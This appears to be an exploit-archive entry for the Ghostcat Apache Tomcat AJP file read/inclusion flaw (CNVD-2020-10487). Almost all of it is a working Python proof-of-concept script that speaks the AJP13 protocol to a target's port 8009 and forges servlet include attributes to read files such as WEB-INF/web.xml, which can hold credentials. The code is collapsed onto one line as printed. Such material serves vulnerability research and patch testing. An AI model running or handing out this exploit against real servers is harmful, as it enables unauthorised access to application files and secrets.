Apache Tomcat AJP Ghostcat File Read / Inclusion

2020.02.28
Credit: ydhcui
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length+1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request('/asdf',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ]) print('----------------------------') print("".join([d.data for d in data]))


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